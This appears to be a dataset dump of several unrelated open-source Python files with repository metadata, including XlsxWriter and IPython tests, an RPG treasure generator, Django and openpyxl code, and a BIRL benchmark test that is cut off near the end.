############################################################################### # # Tests for XlsxWriter. # # Copyright (c), 2013-2019, John McNamara, jmcnamara@cpan.org # import unittest from ...compatibility import StringIO from ...worksheet import Worksheet class TestWritePrintOptions(unittest.TestCase): """ Test the Worksheet _write_print_options() method. """ def setUp(self): self.fh = StringIO() self.worksheet = Worksheet() self.worksheet._set_filehandle(self.fh) def test_write_print_options_default(self): """Test the _write_print_options() method without options""" self.worksheet._write_print_options() exp = """""" got = self.fh.getvalue() self.assertEqual(got, exp) def test_write_print_options_hcenter(self): """Test the _write_print_options() method with horizontal center""" self.worksheet.center_horizontally() self.worksheet._write_print_options() exp = """<printOptions horizontalCentered="1"/>""" got = self.fh.getvalue() self.assertEqual(got, exp) def test_write_print_options_vcenter(self): """Test the _write_print_options() method with vertical center""" self.worksheet.center_vertically() self.worksheet._write_print_options() exp = """<printOptions verticalCentered="1"/>""" got = self.fh.getvalue() self.assertEqual(got, exp) def test_write_print_options_center(self): """Test the _write_print_options() method with horiz + vert center""" self.worksheet.center_horizontally() self.worksheet.center_vertically() self.worksheet._write_print_options() exp = """<printOptions horizontalCentered="1" verticalCentered="1"/>""" got = self.fh.getvalue() self.assertEqual(got, exp) def test_write_print_options_gridlines_default(self): """Test the _write_print_options() method with default value""" self.worksheet.hide_gridlines() self.worksheet._write_print_options() exp = """""" got = self.fh.getvalue() self.assertEqual(got, exp) def test_write_print_options_gridlines_0(self): """Test the _write_print_options() method with 0 value""" self.worksheet.hide_gridlines(0) self.worksheet._write_print_options() exp = """<printOptions gridLines="1"/>""" got = self.fh.getvalue() self.assertEqual(got, exp)

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c7f405a9090e4db54d759cf9f413be8921191675

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py

Python

IPython/lib/tests/test_irunner_pylab_magic.py

dchichkov/ipython

8096bb8640ee7e7c5ebdf3f428fe69cd390e1cd4

[ "BSD-3-Clause-Clear" ]

null

IPython/lib/tests/test_irunner_pylab_magic.py

dchichkov/ipython

8096bb8640ee7e7c5ebdf3f428fe69cd390e1cd4

[ "BSD-3-Clause-Clear" ]

3

2015-04-01T13:14:57.000Z

2015-05-26T16:01:37.000Z

IPython/lib/tests/test_irunner_pylab_magic.py

dchichkov/ipython

8096bb8640ee7e7c5ebdf3f428fe69cd390e1cd4

[ "BSD-3-Clause-Clear" ]

1

2021-10-06T07:59:25.000Z

"""Test suite for pylab_import_all magic Modified from the irunner module but using regex. """ # Global to make tests extra verbose and help debugging VERBOSE = True # stdlib imports import StringIO import sys import unittest import re # IPython imports from IPython.lib import irunner from IPython.testing import decorators def pylab_not_importable(): """Test if importing pylab fails with RuntimeError (true when having no display)""" try: import pylab return False except RuntimeError: return True # Testing code begins class RunnerTestCase(unittest.TestCase): def setUp(self): self.out = StringIO.StringIO() #self.out = sys.stdout def _test_runner(self,runner,source,output): """Test that a given runner's input/output match.""" runner.run_source(source) out = self.out.getvalue() #out = '' # this output contains nasty \r\n lineends, and the initial ipython # banner. clean it up for comparison, removing lines of whitespace output_l = [l for l in output.splitlines() if l and not l.isspace()] out_l = [l for l in out.splitlines() if l and not l.isspace()] mismatch = 0 if len(output_l) != len(out_l): message = ("Mismatch in number of lines\n\n" "Expected:\n" "~~~~~~~~~\n" "%s\n\n" "Got:\n" "~~~~~~~~~\n" "%s" ) % ("\n".join(output_l), "\n".join(out_l)) self.fail(message) for n in range(len(output_l)): # Do a line-by-line comparison ol1 = output_l[n].strip() ol2 = out_l[n].strip() if not re.match(ol1,ol2): mismatch += 1 if VERBOSE: print '<<< line %s does not match:' % n print repr(ol1) print repr(ol2) print '>>>' self.assert_(mismatch==0,'Number of mismatched lines: %s' % mismatch) @decorators.skipif_not_matplotlib @decorators.skipif(pylab_not_importable, "Likely a run without X.") def test_pylab_import_all_enabled(self): "Verify that plot is available when pylab_import_all = True" source = """ from IPython.config.application import Application app = Application.instance() app.pylab_import_all = True pylab ip=get_ipython() 'plot' in ip.user_ns """ output = """ In \[1\]: from IPython\.config\.application import Application In \[2\]: app = Application\.instance In \[3\]: app\.pylab_import_all = True In \[4\]: pylab ^Welcome to pylab, a matplotlib-based Python environment For more information, type 'help$pylab$'\. In \[5\]: ip=get_ipython In \[6\]: \'plot\' in ip\.user_ns Out\[6\]: True """ runner = irunner.IPythonRunner(out=self.out) self._test_runner(runner,source,output) @decorators.skipif_not_matplotlib @decorators.skipif(pylab_not_importable, "Likely a run without X.") def test_pylab_import_all_disabled(self): "Verify that plot is not available when pylab_import_all = False" source = """ from IPython.config.application import Application app = Application.instance() app.pylab_import_all = False pylab ip=get_ipython() 'plot' in ip.user_ns """ output = """ In \[1\]: from IPython\.config\.application import Application In \[2\]: app = Application\.instance In \[3\]: app\.pylab_import_all = False In \[4\]: pylab ^Welcome to pylab, a matplotlib-based Python environment For more information, type 'help$pylab$'\. In \[5\]: ip=get_ipython In \[6\]: \'plot\' in ip\.user_ns Out\[6\]: False """ runner = irunner.IPythonRunner(out=self.out) self._test_runner(runner,source,output)

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null

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null

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1

1be2fe74c868aa22cedb699484c807fd62b32107

14,174

py

Python

Dungeoneer/Treasure.py

jameslemon81/Dungeoneer

8a2a1bfea06ae09f1898583999bf449c82ba4ce9

[ "BSD-3-Clause" ]

12

2015-01-29T17:15:46.000Z

2022-02-23T05:58:49.000Z

Dungeoneer/Treasure.py

jameslemon81/Dungeoneer

8a2a1bfea06ae09f1898583999bf449c82ba4ce9

[ "BSD-3-Clause" ]

null

Dungeoneer/Treasure.py

jameslemon81/Dungeoneer

8a2a1bfea06ae09f1898583999bf449c82ba4ce9

[ "BSD-3-Clause" ]

8

2016-07-04T18:09:50.000Z

2022-02-23T05:58:48.000Z

# Basic Fantasy RPG Dungeoneer Suite # Copyright 2007-2012 Chris Gonnerman # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # # Redistributions of source code must retain the above copyright # notice, self list of conditions and the following disclaimer. # # Redistributions in binary form must reproduce the above copyright # notice, self list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # Neither the name of the author nor the names of any contributors # may be used to endorse or promote products derived from self software # without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS # FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE # AUTHOR OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ############################################################################### # Treasure.py -- generate treasures for Basic Fantasy RPG ############################################################################### import Gems, Art, Coins, Magic, Unknown import Dice import string def combine(lst): lst.sort() hits = 1 while hits: hits = 0 for i in range(len(lst) - 1): if lst[i] is not None and lst[i+1] is not None: if lst[i].cat == lst[i+1].cat \ and lst[i].name == lst[i+1].name \ and lst[i].value == lst[i+1].value: lst[i].qty += lst[i+1].qty lst[i+1] = None hits += 1 if hits: lst = filter(lambda x: x is not None, lst) return lst def _gen_coins(argtup): kind, n, s, b, mul = argtup return [ Coins.Coin(kind, (Dice.D(n, s, b) * mul)) ] def _gen_gems(argtup): n, s, b, mul = argtup lst = [] qty = Dice.D(n, s, b) * mul for i in range(qty): lst = lst + [ Gems.Gem() ] return lst def _gen_art(argtup): n, s, b, mul = argtup lst = [] qty = Dice.D(n, s, b) * mul for i in range(qty): lst = lst + [ Art.Art() ] return lst def __gen_magic(argtup): kind, n, s, b, mul = argtup lst = [] qty = Dice.D(n, s, b) * mul for i in range(qty): lst = lst + [ Magic.Magic(kind) ] return lst def _gen_magic(argtup): if type(argtup) is type([]): lst = [] for i in argtup: lst = lst + __gen_magic(i) return lst else: return __gen_magic(argtup) _treasure_table = { # lair treasure 'A': [ (50, _gen_coins, ("cp", 5, 6, 0, 100)), (60, _gen_coins, ("sp", 5, 6, 0, 100)), (40, _gen_coins, ("ep", 5, 4, 0, 100)), (70, _gen_coins, ("gp", 10, 6, 0, 100)), (50, _gen_coins, ("pp", 1, 10, 0, 100)), (50, _gen_gems, (6, 6, 0, 1)), (50, _gen_art, (6, 6, 0, 1)), (30, _gen_magic, ("Any", 0, 0, 3, 1)), ], 'B': [ (75, _gen_coins, ("cp", 5, 10, 0, 100)), (50, _gen_coins, ("sp", 5, 6, 0, 100)), (50, _gen_coins, ("ep", 5, 4, 0, 100)), (50, _gen_coins, ("gp", 3, 6, 0, 100)), (25, _gen_gems, (1, 6, 0, 1)), (25, _gen_art, (1, 6, 0, 1)), (10, _gen_magic, ("AW", 0, 0, 1, 1)), ], 'C': [ (60, _gen_coins, ("cp", 6, 6, 0, 100)), (60, _gen_coins, ("sp", 5, 4, 0, 100)), (30, _gen_coins, ("ep", 2, 6, 0, 100)), (25, _gen_gems, (1, 4, 0, 1)), (25, _gen_art, (1, 4, 0, 1)), (15, _gen_magic, ("Any", 1, 2, 0, 1)), ], 'D': [ (30, _gen_coins, ("cp", 4, 6, 0, 100)), (45, _gen_coins, ("sp", 6, 6, 0, 100)), (90, _gen_coins, ("gp", 5, 8, 0, 100)), (30, _gen_gems, (1, 8, 0, 1)), (30, _gen_art, (1, 8, 0, 1)), (20, _gen_magic, [ ("Any", 1, 2, 0, 1), ("Potion", 0, 0, 1, 1), ] ), ], 'E': [ (30, _gen_coins, ("cp", 2, 8, 0, 100)), (60, _gen_coins, ("sp", 6, 10, 0, 100)), (50, _gen_coins, ("ep", 3, 8, 0, 100)), (50, _gen_coins, ("gp", 4, 10, 0, 100)), (10, _gen_gems, (1, 10, 0, 1)), (10, _gen_art, (1, 10, 0, 1)), (30, _gen_magic, [ ("Any", 1, 4, 0, 1), ("Scroll", 0, 0, 1, 1), ] ), ], 'F': [ (40, _gen_coins, ("sp", 3, 8, 0, 100)), (50, _gen_coins, ("ep", 4, 8, 0, 100)), (85, _gen_coins, ("gp", 6, 10, 0, 100)), (70, _gen_coins, ("pp", 2, 8, 0, 100)), (20, _gen_gems, (2, 12, 0, 1)), (20, _gen_art, (1, 12, 0, 1)), (35, _gen_magic, [ ("Non-Weapon", 1, 4, 0, 1), ("Scroll", 0, 0, 1, 1), ("Potion", 0, 0, 1, 1), ] ), ], 'G': [ (90, _gen_coins, ("gp", 4, 6, 0, 1000)), (75, _gen_coins, ("pp", 5, 8, 0, 100)), (25, _gen_gems, (3, 6, 0, 1)), (25, _gen_art, (1, 10, 0, 1)), (50, _gen_magic, [ ("Any", 1, 4, 0, 1), ("Scroll", 0, 0, 1, 1), ] ), ], 'H': [ (75, _gen_coins, ("cp", 8, 10, 0, 100)), (75, _gen_coins, ("sp", 6, 10, 0, 1000)), (75, _gen_coins, ("ep", 3, 10, 0, 1000)), (75, _gen_coins, ("gp", 5, 8, 0, 1000)), (75, _gen_coins, ("pp", 9, 8, 0, 100)), (50, _gen_gems, ( 1, 100, 0, 1)), (50, _gen_art, (10, 4, 0, 1)), (20, _gen_magic, [ ("Any", 1, 4, 0, 1), ("Scroll", 0, 0, 1, 1), ("Potion", 0, 0, 1, 1), ] ), ], 'I': [ (80, _gen_coins, ("pp", 3, 10, 0, 100)), (50, _gen_gems, (2, 6, 0, 1)), (50, _gen_art, (2, 6, 0, 1)), (15, _gen_magic, ("Any", 0, 0, 1, 1)), ], 'J': [ (45, _gen_coins, ("cp", 3, 8, 0, 100)), (45, _gen_coins, ("sp", 1, 8, 0, 100)), ], 'K': [ (90, _gen_coins, ("cp", 2, 10, 0, 100)), (35, _gen_coins, ("sp", 1, 8, 0, 100)), ], 'L': [ (50, _gen_gems, (1, 4, 0, 1)), ], 'M': [ (90, _gen_coins, ("gp", 4, 10, 0, 100)), (90, _gen_coins, ("pp", 2, 8, 0, 1000)), ], 'N': [ (40, _gen_magic, ("Potion", 2, 4, 0, 1)), ], 'O': [ (50, _gen_magic, ("Scroll", 1, 4, 0, 1)), ], # personal treasure 'P': [ (100, _gen_coins, ("cp", 3, 8, 0, 1)), ], 'Q': [ (100, _gen_coins, ("sp", 3, 6, 0, 1)), ], 'R': [ (100, _gen_coins, ("ep", 2, 6, 0, 1)), ], 'S': [ (100, _gen_coins, ("gp", 2, 4, 0, 1)), ], 'T': [ (100, _gen_coins, ("pp", 1, 6, 0, 1)), ], 'U': [ ( 50, _gen_coins, ("cp", 1, 20, 0, 1)), ( 50, _gen_coins, ("sp", 1, 20, 0, 1)), ( 25, _gen_coins, ("gp", 1, 20, 0, 1)), ( 5, _gen_gems, (1, 4, 0, 1)), ( 5, _gen_art, (1, 4, 0, 1)), ( 2, _gen_magic, ("Any", 0, 0, 1, 1)), ], 'V': [ ( 25, _gen_coins, ("sp", 1, 20, 0, 1)), ( 25, _gen_coins, ("ep", 1, 20, 0, 1)), ( 50, _gen_coins, ("gp", 1, 20, 0, 1)), ( 25, _gen_coins, ("pp", 1, 20, 0, 1)), ( 10, _gen_gems, (1, 4, 0, 1)), ( 10, _gen_art, (1, 4, 0, 1)), ( 5, _gen_magic, ("Any", 0, 0, 1, 1)), ], 'U1': [ ( 75, _gen_coins, ("cp", 1, 8, 0, 100)), ( 50, _gen_coins, ("sp", 1, 6, 0, 100)), ( 25, _gen_coins, ("ep", 1, 4, 0, 100)), ( 7, _gen_coins, ("gp", 1, 4, 0, 100)), ( 1, _gen_coins, ("pp", 1, 4, 0, 100)), ( 7, _gen_gems, (1, 4, 0, 1)), ( 3, _gen_art, (1, 4, 0, 1)), ( 2, _gen_magic, ("Any", 0, 0, 1, 1)), ], 'U2': [ ( 50, _gen_coins, ("cp", 1, 10, 0, 100)), ( 50, _gen_coins, ("sp", 1, 8, 0, 100)), ( 25, _gen_coins, ("ep", 1, 6, 0, 100)), ( 20, _gen_coins, ("gp", 1, 6, 0, 100)), ( 2, _gen_coins, ("pp", 1, 4, 0, 100)), ( 10, _gen_gems, (1, 6, 0, 1)), ( 7, _gen_art, (1, 4, 0, 1)), ( 5, _gen_magic, ("Any", 0, 0, 1, 1)), ], 'U3': [ ( 30, _gen_coins, ("cp", 2, 6, 0, 100)), ( 50, _gen_coins, ("sp", 1, 10, 0, 100)), ( 25, _gen_coins, ("ep", 1, 8, 0, 100)), ( 50, _gen_coins, ("gp", 1, 6, 0, 100)), ( 4, _gen_coins, ("pp", 1, 4, 0, 100)), ( 15, _gen_gems, (1, 6, 0, 1)), ( 7, _gen_art, (1, 6, 0, 1)), ( 8, _gen_magic, ("Any", 0, 0, 1, 1)), ], 'U45': [ ( 20, _gen_coins, ("cp", 3, 6, 0, 100)), ( 50, _gen_coins, ("sp", 2, 6, 0, 100)), ( 25, _gen_coins, ("ep", 1, 10, 0, 100)), ( 50, _gen_coins, ("gp", 2, 6, 0, 100)), ( 8, _gen_coins, ("pp", 1, 4, 0, 100)), ( 20, _gen_gems, (1, 8, 0, 1)), ( 10, _gen_art, (1, 6, 0, 1)), ( 12, _gen_magic, ("Any", 0, 0, 1, 1)), ], 'U67': [ ( 15, _gen_coins, ("cp", 4, 6, 0, 100)), ( 50, _gen_coins, ("sp", 3, 6, 0, 100)), ( 25, _gen_coins, ("ep", 1, 12, 0, 100)), ( 70, _gen_coins, ("gp", 2, 8, 0, 100)), ( 15, _gen_coins, ("pp", 1, 4, 0, 100)), ( 30, _gen_gems, (1, 8, 0, 1)), ( 15, _gen_art, (1, 6, 0, 1)), ( 16, _gen_magic, ("Any", 0, 0, 1, 1)), ], 'U8': [ ( 10, _gen_coins, ("cp", 5, 6, 0, 100)), ( 50, _gen_coins, ("sp", 5, 6, 0, 100)), ( 25, _gen_coins, ("ep", 2, 8, 0, 100)), ( 75, _gen_coins, ("gp", 4, 6, 0, 100)), ( 30, _gen_coins, ("pp", 1, 4, 0, 100)), ( 40, _gen_gems, (1, 8, 0, 1)), ( 30, _gen_art, (1, 8, 0, 1)), ( 20, _gen_magic, ("Any", 0, 0, 1, 1)), ], # coinage 'cp': [ (100, _gen_coins, ("cp", 0, 0, 1, 1)), ], 'sp': [ (100, _gen_coins, ("sp", 0, 0, 1, 1)), ], 'ep': [ (100, _gen_coins, ("ep", 0, 0, 1, 1)), ], 'gp': [ (100, _gen_coins, ("gp", 0, 0, 1, 1)), ], 'pp': [ (100, _gen_coins, ("pp", 0, 0, 1, 1)), ], # magic classes 'MAGIC': [ (100, _gen_magic, ("Any", 0, 0, 1, 1)), ], 'POTION': [ (100, _gen_magic, ("Potion", 0, 0, 1, 1)), ], 'SCROLL': [ (100, _gen_magic, ("Scroll", 0, 0, 1, 1)), ], 'RING': [ (100, _gen_magic, ("Ring", 0, 0, 1, 1)), ], 'WSR': [ (100, _gen_magic, ("WSR", 0, 0, 1, 1)), ], 'MISC': [ (100, _gen_magic, ("Misc", 0, 0, 1, 1)), ], 'ARMOR': [ (100, _gen_magic, ("Armor", 0, 0, 1, 1)), ], 'WEAPON': [ (100, _gen_magic, ("Weapon", 0, 0, 1, 1)), ], } _treasure_table['U4'] = _treasure_table['U45'] _treasure_table['U5'] = _treasure_table['U45'] _treasure_table['U6'] = _treasure_table['U67'] _treasure_table['U7'] = _treasure_table['U67'] def Types(): types = _treasure_table.keys() ones = filter(lambda x: len(x) == 1, types) mults = filter(lambda x: len(x) > 1, types) ones.sort() mults.sort() return ones + mults def Treasure(typ): tr = [] try: tbl = _treasure_table[string.upper(typ)] for i in tbl: if Dice.D(1, 100, 0) <= i[0]: tr = tr + i[1](i[2]) except: tr = [ Unknown.Unknown(typ) ] return tr def Factory(args): types = [] tr = [] mult = 1 for i in args: if type(i) is tuple: i = Dice.D(*i) try: nmult = int(i) mult = nmult types.append("%d" % mult) continue except: pass types.append(i + ",") for n in range(mult): tr += Treasure(i) types = string.join(types, " ") if types[-1] == ',': types = types[:-1] return (types.upper(), combine(tr)) if __name__ == "__main__": import sys if len(sys.argv) < 2: print "Usage: Treasure.py treasuretype [ treasuretype ... ]" sys.exit(0) types, tr = Factory(sys.argv[1:]) print "Treasure Type " + string.upper(types) vtot = 0.0 ocat = '' qty_len = 1 for t in tr: qty_len = max(len(str(t.qty)), qty_len) qty_fmt = "%" + str(qty_len) + "d" for t in tr: if t.cat != ocat: print t.cat ocat = t.cat if t.value != 0: print " ", qty_fmt % t.qty, t.name, t.value, "GP ea.", \ t.value * t.qty, "GP total" else: print " ", qty_fmt % t.qty, t.name for i in t.desc: print " ", i vtot = vtot + (t.qty * t.value) print "----- Total Value", vtot, "GP\n" # end of script.

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null

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1

1be38ec637c07219a45f7c7ba15326a16a343d58

396

py

Python

T2API/migrations/0008_product_weight.py

hackhb18-T2/api

c42be466492d07d6451ff3145985cd8cc0927257

[ "Apache-2.0" ]

null

T2API/migrations/0008_product_weight.py

hackhb18-T2/api

c42be466492d07d6451ff3145985cd8cc0927257

[ "Apache-2.0" ]

null

T2API/migrations/0008_product_weight.py

hackhb18-T2/api

c42be466492d07d6451ff3145985cd8cc0927257

[ "Apache-2.0" ]

null

# Generated by Django 2.0.2 on 2018-02-17 10:50 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('T2API', '0007_apiuser_deviceuser'), ] operations = [ migrations.AddField( model_name='product', name='weight', field=models.IntegerField(default=None, null=True), ), ]

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null

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1be5b77cc2bbea8d65329992b137d52e24f4e227

441

py

Python

changes/api/build_coverage.py

vault-the/changes

37e23c3141b75e4785cf398d015e3dbca41bdd56

[ "Apache-2.0" ]

443

2015-01-03T16:28:39.000Z

2021-04-26T16:39:46.000Z

changes/api/build_coverage.py

vault-the/changes

37e23c3141b75e4785cf398d015e3dbca41bdd56

[ "Apache-2.0" ]

12

2015-07-30T19:07:16.000Z

2016-11-07T23:11:21.000Z

changes/api/build_coverage.py

vault-the/changes

37e23c3141b75e4785cf398d015e3dbca41bdd56

[ "Apache-2.0" ]

47

2015-01-09T10:04:00.000Z

2020-11-18T17:58:19.000Z

from changes.api.base import APIView from changes.lib.coverage import get_coverage_by_build_id, merged_coverage_data from changes.models.build import Build class BuildTestCoverageAPIView(APIView): def get(self, build_id): build = Build.query.get(build_id) if build is None: return '', 404 coverage = merged_coverage_data(get_coverage_by_build_id(build.id)) return self.respond(coverage)

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null

0

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1

1beb0ef06d9c6f7de745f499f7af1a9f705e4a88

929

py

Python

sendsms/backends/rq.py

this-is-the-bard/django-sendsms

8944b7d276f91b019ad6aa2e7e29324fa107fa01

[ "MIT" ]

null

sendsms/backends/rq.py

this-is-the-bard/django-sendsms

8944b7d276f91b019ad6aa2e7e29324fa107fa01

[ "MIT" ]

null

sendsms/backends/rq.py

this-is-the-bard/django-sendsms

8944b7d276f91b019ad6aa2e7e29324fa107fa01

[ "MIT" ]

null

""" python-rq based backend This backend will send your messages asynchronously with python-rq. Before using this backend, make sure that django-rq is installed and configured. Usage ----- In settings.py SENDSMS_BACKEND = 'sendsms.backends.rq.SmsBackend' RQ_SENDSMS_BACKEND = 'actual.backend.to.use.SmsBackend' """ from sendsms.api import get_connection from sendsms.backends.base import BaseSmsBackend from django.conf import settings from django.core.exceptions import ImproperlyConfigured from django_rq import job RQ_SENDSMS_BACKEND = getattr(settings, 'RQ_SENDSMS_BACKEND', None) if not RQ_SENDSMS_BACKEND: raise ImproperlyConfigured('Set RQ_SENDSMS_BACKEND') @job def send_messages(messages): connection = get_connection(RQ_SENDSMS_BACKEND) connection.send_messages(messages) class SmsBackend(BaseSmsBackend): def send_messages(self, messages): send_messages.delay(messages)

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null

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1bed3f78be12183f03bd98f78582fb16d8457339

2,435

py

Python

venv/Lib/site-packages/openpyxl/worksheet/errors.py

ajayiagbebaku/NFL-Model

afcc67a85ca7138c58c3334d45988ada2da158ed

[ "MIT" ]

5,079

2015-01-01T03:39:46.000Z

2022-03-31T07:38:22.000Z

venv/Lib/site-packages/openpyxl/worksheet/errors.py

ajayiagbebaku/NFL-Model

afcc67a85ca7138c58c3334d45988ada2da158ed

[ "MIT" ]

1,623

2015-01-01T08:06:24.000Z

2022-03-30T19:48:52.000Z

venv/Lib/site-packages/openpyxl/worksheet/errors.py

ajayiagbebaku/NFL-Model

afcc67a85ca7138c58c3334d45988ada2da158ed

[ "MIT" ]

2,033

2015-01-04T07:18:02.000Z

2022-03-28T19:55:47.000Z

#Autogenerated schema from openpyxl.descriptors.serialisable import Serialisable from openpyxl.descriptors import ( Typed, String, Bool, Sequence, ) from openpyxl.descriptors.excel import CellRange class Extension(Serialisable): tagname = "extension" uri = String(allow_none=True) def __init__(self, uri=None, ): self.uri = uri class ExtensionList(Serialisable): tagname = "extensionList" # uses element group EG_ExtensionList ext = Sequence(expected_type=Extension) __elements__ = ('ext',) def __init__(self, ext=(), ): self.ext = ext class IgnoredError(Serialisable): tagname = "ignoredError" sqref = CellRange evalError = Bool(allow_none=True) twoDigitTextYear = Bool(allow_none=True) numberStoredAsText = Bool(allow_none=True) formula = Bool(allow_none=True) formulaRange = Bool(allow_none=True) unlockedFormula = Bool(allow_none=True) emptyCellReference = Bool(allow_none=True) listDataValidation = Bool(allow_none=True) calculatedColumn = Bool(allow_none=True) def __init__(self, sqref=None, evalError=False, twoDigitTextYear=False, numberStoredAsText=False, formula=False, formulaRange=False, unlockedFormula=False, emptyCellReference=False, listDataValidation=False, calculatedColumn=False, ): self.sqref = sqref self.evalError = evalError self.twoDigitTextYear = twoDigitTextYear self.numberStoredAsText = numberStoredAsText self.formula = formula self.formulaRange = formulaRange self.unlockedFormula = unlockedFormula self.emptyCellReference = emptyCellReference self.listDataValidation = listDataValidation self.calculatedColumn = calculatedColumn class IgnoredErrors(Serialisable): tagname = "ignoredErrors" ignoredError = Sequence(expected_type=IgnoredError) extLst = Typed(expected_type=ExtensionList, allow_none=True) __elements__ = ('ignoredError', 'extLst') def __init__(self, ignoredError=(), extLst=None, ): self.ignoredError = ignoredError self.extLst = extLst

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1

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null

0

1

1beeb9bf708d482300442a926d31325bbdca0e33

619

py

Python

SmartMove/SmartConnector/cpapi/utils.py

themichaelasher/SmartMove

074c6e1a854fdfc21fb292e575a869719d56c5d5

[ "Apache-2.0" ]

24

2018-03-15T09:00:51.000Z

2022-03-17T05:19:47.000Z

SmartMove/SmartConnector/cpapi/utils.py

themichaelasher/SmartMove

074c6e1a854fdfc21fb292e575a869719d56c5d5

[ "Apache-2.0" ]

8

2020-01-20T15:44:42.000Z

2021-10-18T05:39:04.000Z

SmartMove/SmartConnector/cpapi/utils.py

themichaelasher/SmartMove

074c6e1a854fdfc21fb292e575a869719d56c5d5

[ "Apache-2.0" ]

22

2018-06-04T20:36:41.000Z

2022-03-16T17:10:44.000Z

import json import sys def compatible_loads(json_data): """ Function json.loads in python 3.0 - 3.5 can't handle bytes, so this function handle it. :param json_data: :return: unicode (str if it's python 3) """ if isinstance(json_data, bytes) and (3, 0) <= sys.version_info < (3, 6): json_data = json_data.decode("utf-8") return json.loads(json_data) def get_massage_from_io_error(error): """ :param: IOError :return: error message """ if sys.version_info >= (3, 0): return error.strerror else: return error.message

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null

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1

1bef7a1aa389a58d40ce648d1ed75a0579e889d3

8,752

py

Python

tests/test_benchmark.py

fossabot/BIRL

62e91523ac5797a13a7b78b9869ccfdf61cc60d8

[ "BSD-3-Clause" ]

null

tests/test_benchmark.py

fossabot/BIRL

62e91523ac5797a13a7b78b9869ccfdf61cc60d8

[ "BSD-3-Clause" ]

null

tests/test_benchmark.py

fossabot/BIRL

62e91523ac5797a13a7b78b9869ccfdf61cc60d8

[ "BSD-3-Clause" ]

null

""" Testing default benchmarks in single thred and parallel configuration Check whether it generates correct outputs and resulting values Copyright (C) 2017-2019 Jiri Borovec <jiri.borovec@fel.cvut.cz> """ import argparse import logging import os import shutil import sys import unittest try: # python 3 from unittest.mock import patch except ImportError: # python 2 from mock import patch import numpy as np import pandas as pd from numpy.testing import assert_raises, assert_array_almost_equal sys.path += [os.path.abspath('.'), os.path.abspath('..')] # Add path to root from birl.utilities.data_io import update_path, save_config_yaml from birl.utilities.dataset import args_expand_parse_images from birl.utilities.experiments import parse_arg_params, try_decorator from birl.benchmark import ImRegBenchmark from birl.bm_template import BmTemplate PATH_ROOT = os.path.dirname(update_path('birl')) PATH_DATA = update_path('data-images') PATH_CSV_COVER_MIX = os.path.join(PATH_DATA, 'pairs-imgs-lnds_mix.csv') PATH_CSV_COVER_ANHIR = os.path.join(PATH_DATA, 'pairs-imgs-lnds_histol.csv') # logging.basicConfig(level=logging.INFO) class TestBmRegistration(unittest.TestCase): @classmethod def setUpClass(cls): logging.basicConfig(level=logging.INFO) cls.path_out = os.path.join(PATH_ROOT, 'output-testing') shutil.rmtree(cls.path_out, ignore_errors=True) os.mkdir(cls.path_out) def _remove_default_experiment(self, bm_name): path_expt = os.path.join(self.path_out, bm_name) shutil.rmtree(path_expt, ignore_errors=True) @classmethod def test_benchmark_invalid_inputs(self): # test missing some parameters params = { 'path_table': 'x', 'path_out': 'x', 'nb_workers': 0, 'unique': False, } # try a missing params for miss in ['path_table', 'path_out', 'unique']: params_miss = params.copy() del params_miss[miss] assert_raises(AssertionError, ImRegBenchmark, params_miss) # not defined output folder assert_raises(Exception, ImRegBenchmark, params) def test_benchmark_failing(self): """ test run in parallel with failing experiment """ params = { 'path_table': PATH_CSV_COVER_MIX, 'path_dataset': PATH_DATA, 'path_out': self.path_out, 'preprocessing': 'nothing', 'nb_workers': 4, 'visual': True, 'unique': True, } benchmark = ImRegBenchmark(params) benchmark.run() # no landmarks was copy and also no experiment results was produced list_csv = [ len([csv for csv in files if os.path.splitext(csv)[-1] == '.csv']) for _, _, files in os.walk(benchmark.params['path_exp']) ] self.assertEqual(sum(list_csv), 0) del benchmark def test_benchmark_parallel(self): """ test run in parallel (2 threads) """ self._remove_default_experiment(ImRegBenchmark.__name__) params = { 'path_table': PATH_CSV_COVER_MIX, 'path_out': self.path_out, 'preprocessing': ['gray', 'matching-rgb'], 'nb_workers': 2, 'visual': True, 'unique': False, } benchmark = ImRegBenchmark(params) # run it for the first time, complete experiment benchmark.run() # rerun experiment simulated repeating unfinished benchmarks benchmark.run() self.check_benchmark_results(benchmark, final_means=[0., 0., 0., 0., 0.], final_stds=[0., 0., 0., 0., 0.]) del benchmark def test_benchmark_simple(self): """ test run in sequence (1 thread) """ self._remove_default_experiment(ImRegBenchmark.__name__) params = { 'path_table': PATH_CSV_COVER_ANHIR, 'path_dataset': PATH_DATA, 'path_out': self.path_out, 'preprocessing': ['matching-hsv', 'gray'], 'nb_workers': 1, 'visual': True, 'unique': False, } benchmark = ImRegBenchmark(params) benchmark.run() self.check_benchmark_results(benchmark, final_means=[0., 0.], final_stds=[0., 0.]) del benchmark def test_benchmark_template(self): """ test run in single thread """ path_config = os.path.join(self.path_out, 'sample_config.yaml') save_config_yaml(path_config, {}) params = { 'path_table': PATH_CSV_COVER_MIX, 'path_out': self.path_out, 'path_config': path_config, 'nb_workers': 2, 'unique': False, 'visual': True, } benchmark = BmTemplate(params) benchmark.run() self.check_benchmark_results( benchmark, final_means=[28., 68., 73., 76., 95.], final_stds=[1., 13., 28., 28., 34.] ) os.remove(path_config) del benchmark def check_benchmark_results(self, benchmark, final_means, final_stds): """ check whether the benchmark folder contains all required files and compute statistic correctly """ bm_name = benchmark.__class__.__name__ path_bm = os.path.join(self.path_out, bm_name) self.assertTrue(os.path.exists(path_bm), msg='Missing benchmark: %s' % bm_name) # required output files for file_name in [ 